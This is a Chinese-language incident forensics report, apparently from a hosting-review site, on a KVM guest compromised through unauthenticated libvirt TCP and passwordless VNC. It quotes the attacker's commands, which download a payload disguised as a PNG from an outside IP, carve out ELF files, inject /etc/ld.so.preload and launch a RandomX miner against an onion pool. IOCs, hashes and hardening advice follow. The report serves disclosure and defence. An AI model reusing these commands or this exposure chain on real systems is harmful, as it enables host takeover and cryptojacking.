万维IIP通栏广告位当云华纳云
行业资讯2026-08-26文案编辑:好主机测评5 阅读

我们是如何发现 KVM001 被入侵的:ustar Rootkit 与 RandomX 矿工取证记录

本文摘要我们是如何发现 KVM001 被入侵的:ustar Rootkit 与 RandomX 矿工取证记录本文记录我们从宿主机异常负载开始,逐步确认 KVM001 遭到 root 级入侵的调查过程。公开版本不包含任何登录密码、SSH 密钥、面板凭据或可复用的管理入口。結論先行事發環境曾...
丽萨主机
AD:
【广告招商】文章正文文字广告位开放合作

我们是如何发现 KVM001 被入侵的:ustar Rootkit 与 RandomX 矿工取证记录

本文记录我们从宿主机异常负载开始,逐步确认 KVM001 遭到 root 级入侵的调查过程。公开版本不包含任何登录密码、SSH 密钥、面板凭据或可复用的管理入口。

結論先行

事發環境曾同時存在:


libvirt TCP:0.0.0.0:16509
auth_tcp:none
KVM001 VNC:0.0.0.0:10000
VNC 密碼:未設定
Guest SSH:允許 root 密碼登入


魔方雲需要連接 libvirt 管理 KVM,但「libvirt 控制地址」與「NAT 公網 IP」是兩回事。若為了讓面板顯示 NAT IP,把 libvirt 綁到公網並關閉認證,任何能連到該端口的人都可能接觸虛擬化控制平面。

已確認 KVM001 最終被取得 root、建立 ustar.service、注入 ld.so.preload 並運行 RandomX 礦工。現存日誌不足以百分之百證明初始入口就是 16509;但「未認證 libvirt + 無密碼 VNC」構成完整可行的控制鏈,也是當時最危險的入口。

魔方雲部署問題

正常的單機控制鏈應是:


魔方雲後端 → 本機 qemu:///system → libvirt → QEMU/KVM


面板與宿主機分離時,也應經 TLS、VPN 或 SSH Tunnel 進入專用管理網,而不是公開無認證 TCP。事發配置出現:


listen_tcp = 1
auth_tcp = "none"

16509 不是 KVM 必須公開的普通依賴端口,而是 libvirt 遠端管理入口。auth_tcp = "none" 表示連線不經 libvirt 身份驗證。

另一個設計問題,是面板把 libvirt 連接地址和 NAT 對外 IP 混用。連接地址填 127.0.0.1 時,NAT IP 也顯示 127.0.0.1;這會誘使管理員改填公網 IP,增加暴露控制端口的可能。

可能的完整利用鏈

以下前半段是依現場配置重建的高可信技術路徑,並非從完整封包中逐條還原出的攻擊命令。

1. 掃描到 libvirt TCP

攻擊者掃描到宿主機 16509/tcp。若其監聽於全部地址且使用 auth_tcp = "none",攻擊者可能不需要魔方雲帳號或 SSH 密碼,便能直接與 libvirt API 通訊。

2. 列舉並控制 KVM

取得 libvirt 管理連線後,可能具備:

  • 列舉實例名稱、UUID、狀態和 XML;
  • 啟動、停止及重啟實例;
  • 修改磁碟、光碟、網卡和 VNC 配置;
  • 掛載攻擊者控制的 ISO/磁碟;
  • 修改啟動順序;
  • 在已配置 Guest Agent 時調用相關管理能力。

這不是單純的狀態查詢權限,而是接近完整的虛擬機控制平面。

3. 進入 KVM001

現場同時存在:


VNC 監聽:0.0.0.0:10000
VNC 密碼:無


攻擊者可能直接連 VNC,或經 libvirt 查詢/修改 VNC、掛載可控啟動媒體、離線修改 Guest 磁碟;若 Guest Agent 配置允許,也可能利用管理通道。到這一步,Guest 的 SSH 防火牆與登入密碼已不再是可靠邊界。

4. 取得 Guest root 並持久化

KVM001 中確認出現 root console session,隨後系統重啟:


2026-08-20 11:50:17 systemd: Received SIGINT
2026-08-20 11:50:18 login: session closed for user root


重啟後惡意服務立即啟動:


2026-08-20 11:57:28 systemd: Started ustar.service - ustar


其配置以 root 執行,且退出後每 5 秒拉起:


[Service]
User=root
Group=root
Restart=always
RestartSec=5

這證明重啟前已有人取得 Guest root 並完成持久化,但日誌未完整保留從 libvirt/VNC 到 root shell 的原始連線。

5. 投放偽裝 PNG 的 Payload

服務下載:


http://185.128.105.153:26694/qlx.png


保存成 /.ustarp 後,以固定偏移切出兩個 ELF:


tail -c +16756 /.ustarp | head -c 33944584 > /.ustar5
tail -c +7184  /.ustarp | head -c 9560     > /.ustar6
文件作用
/.ustarp偽裝 PNG 的組合載荷
/.ustar5RandomX 礦工主程序
/.ustar6preload 注入/隱藏用共享物件

6. ld.so.preload 注入

惡意服務執行:


echo /.ustar6 > /etc/ld.so.preload

這會讓大量動態程序優先載入該共享物件。Kernel audit 已記錄 unix_chkpwd 打開並 mmap /.ustar6,證明 preload 實際生效。因此感染後由 Guest 內普通命令得到的登入、程序和網路資訊不一定完全可信。

7. 啟動 RandomX 礦工


exec /.ustar5 3785a12b-7e04-5124-b6df-695553797845

程序連接:


ustar3rqxgnskzgnwkgpofgtvxevm6cx3lxdbwt4mndtbqijadyaohid.onion:3333


日誌顯示算法為 rx/0,速度約 1,200–1,350 H/s、峰值約 1,519 H/s,累計消耗約 22 小時 32 分鐘 CPU。RandomX 通常用於 Monero(XMR)挖礦。

證據與推論邊界

已確認

  • KVM001 被取得 root;
  • 存在 root console session 與可疑重啟;
  • ustar.service 已持久化並開機啟動;
  • payload、下載來源和樣本雜湊已取得;
  • /.ustar6 被寫入 preload 並由系統程序載入;
  • /.ustar5 運行 RandomX 並連接 onion 礦池;
  • libvirt 曾有未認證 TCP 配置;
  • KVM001 VNC 曾監聽全部地址且未設密碼。

尚不能唯一歸因

  • 攻擊者是否確實從公網 16509 首次進入;
  • 是否直接利用無密碼 VNC;
  • 是否先取得魔方雲面板權限;
  • 是否經 SSH 和重複 root 密碼進入;
  • root console session 對應的真實公網來源 IP。

原因包括 preload Rootkit 降低 Guest 日誌可信度、NAT 隱藏來源、缺少 libvirt/VNC/API 審計與完整封包、部分日誌輪替。

準確結論是:現場存在足以造成完整控制的魔方雲/libvirt 部署缺陷,且虛擬機同期確實遭 root 級植入;但缺少把初始入口唯一鎖定為某一端口的原始審計證據。

修復建議

拆分控制地址與 NAT IP

面板應分成:


Libvirt URI:qemu:///system 或受保護管理地址
NAT Public IP:端口映射使用的公網 IP


不能再用 libvirt host 值生成 NAT 規則。

關閉遠端 libvirt 明文接口

  • 單機使用 qemu:///system
  • 關閉並 mask libvirt TCP socket;
  • 防火牆繼續阻擋 16509;
  • 遠端管理改用 TLS、VPN 或 SSH Tunnel;
  • 禁止 auth_tcp = "none"

收緊 VNC

  • 僅綁定 localhost 或獨立管理網;
  • 使用強隨機、短時有效密碼;
  • 經帶時效的 WebSocket proxy 訪問;
  • 禁止 0.0.0.0 + 無密碼

Guest 和審計

  • 禁止 SSH root 密碼登入,僅允許密鑰;
  • 每台 VM 使用不同憑證;
  • 監控 systemd、/etc/ld.so.preload 和根目錄隱藏文件;
  • 集中保存面板操作、libvirt API、VNC、NAT、Guest Agent 日誌至少 30–90 天。

IOC


185.128.105.153:26694
103.103.245.70:59839
ustar3rqxgnskzgnwkgpofgtvxevm6cx3lxdbwt4mndtbqijadyaohid.onion:3333

/.ustarp
/.ustar5
/.ustar6
/etc/systemd/system/ustar.service
/etc/ld.so.preload


SHA256:


97a22d9b720fd245b3d6bec22043a6dd0875746f2099c0e26b1c1299b5f8b0b2  /.ustarp
4ed71e4914eccb91108a84172f7766d6dcb3f911d7d253e9ed1a3fa42d0bce73  /.ustar5
97d18ba592cf5ce20dc38ff5a79323967edca7cfe3027bc16914b5c5be98f5d6  /.ustar6


最終利用鏈


掃描 16509
  → 無認證連接 libvirt
  → 列舉/控制 KVM001
  → 經 VNC、磁碟或 Guest 管理通道取得 root
  → 建立 ustar.service
  → 下載偽裝 PNG payload
  → ld.so.preload 注入
  → 啟動 RandomX 礦工


利用鏈後半段有完整實機證據;前半段是依當時暴露配置得到的高可信復原,不是已由網路取證唯一證實的入口。公開討論時必須保留這項區分。


广告招商文章内容详情页下 · 优质席位开放中合作咨询
咨询1 位在线

广告投放、资源交换、友情链接